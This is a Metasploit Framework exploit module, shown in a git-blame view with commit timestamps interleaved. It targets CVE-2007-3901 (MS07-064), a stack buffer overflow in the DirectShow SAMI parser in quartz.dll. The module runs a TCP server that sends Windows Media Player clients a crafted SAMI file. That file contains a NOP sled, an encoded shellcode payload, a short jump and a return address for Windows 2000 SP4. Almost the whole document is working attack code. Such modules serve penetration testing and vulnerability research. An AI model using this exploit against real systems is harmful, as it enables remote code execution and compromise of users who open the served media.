2008-01-12 14:11:31 +00:00
|
|
|
##
|
2008-04-21 05:27:06 +00:00
|
|
|
# $Id$
|
2008-01-12 14:11:31 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2008-01-12 14:11:31 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2008-01-12 14:11:31 +00:00
|
|
|
##
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = NormalRanking
|
2008-01-12 14:11:31 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::TcpServer
|
2008-01-12 14:11:31 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Microsoft DirectX DirectShow SAMI Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in the DirectShow Synchronized
|
2008-01-12 14:11:31 +00:00
|
|
|
Accessible Media Interchanged (SAMI) parser in quartz.dll. This module
|
2010-04-30 08:40:19 +00:00
|
|
|
has only been tested with Windows Media Player (6.4.09.1129) and
|
2008-01-12 14:11:31 +00:00
|
|
|
DirectX 8.0.
|
|
|
|
},
|
|
|
|
'Author' => 'MC',
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
2010-04-30 08:40:19 +00:00
|
|
|
'References' =>
|
2008-01-12 14:11:31 +00:00
|
|
|
[
|
2009-06-07 20:20:42 +00:00
|
|
|
[ 'CVE', '2007-3901' ],
|
|
|
|
[ 'OSVDB', '39126' ],
|
2008-01-12 14:11:31 +00:00
|
|
|
[ 'MSB', 'MS07-064' ],
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'BID', '26787' ],
|
2008-01-12 14:11:31 +00:00
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 600,
|
|
|
|
'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'Windows 2000 Pro SP4 English', { 'Offset' => 22412, 'Ret' => 0x75022ac4 } ],
|
2008-01-12 14:11:31 +00:00
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => 'Dec 11 2007',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
2010-04-30 08:40:19 +00:00
|
|
|
[
|
2008-01-12 14:11:31 +00:00
|
|
|
OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 8080 ])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_client_connect(client)
|
2010-04-30 08:40:19 +00:00
|
|
|
return if ((p = regenerate_payload(client)) == nil)
|
2008-01-12 14:11:31 +00:00
|
|
|
|
|
|
|
client.get_once
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
buffer = make_nops(target['Offset'] - payload.encoded.length) + payload.encoded
|
|
|
|
buffer << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
|
2008-01-12 14:11:31 +00:00
|
|
|
buffer << make_nops(10) + [0xe8, -485].pack('CV') + rand_text_english(132324)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-01-12 14:11:31 +00:00
|
|
|
header = "HTTP/1.1 200 OK\r\n"
|
|
|
|
header << "Content-Type: application/smil\r\n\r\n"
|
|
|
|
|
|
|
|
body = "<SAMI>\r<HEAD>\r<STYLE TYPE=\"text/css\">\r"
|
|
|
|
body << "<!--\rP {font-size: 1em;\rfont-family: Arial;\r"
|
|
|
|
body << "font-weight: normal;\rcolor: #FFFFFF;\r"
|
|
|
|
body << "background: #FFFFFF;\rtext-align: center;\r"
|
|
|
|
body << "padding-left: 2px;\rpadding-right: 2px;\r"
|
|
|
|
body << "padding-bottom: 2px;\r}\r.ENUSCC { Name: English; lang: EN-US-CC; }\r"
|
|
|
|
body << "-->\r</STYLE>\r</HEAD>\r<BODY>\r"
|
|
|
|
body << "<SYNC Start=\"0\" pippo=\"" + buffer
|
|
|
|
body << "\"><P Class=\"ENUSCC\"></P></SYNC></BODY></SAMI>"
|
|
|
|
|
|
|
|
sploit = header + body
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-01-12 14:11:31 +00:00
|
|
|
print_status("Sending #{sploit.length} bytes to #{client.peerhost}:#{client.peerport}...")
|
|
|
|
|
|
|
|
client.put(sploit)
|
|
|
|
handler(client)
|
|
|
|
|
|
|
|
service.close_client(client)
|
|
|
|
end
|
|
|
|
|
2009-06-07 20:20:42 +00:00
|
|
|
end
|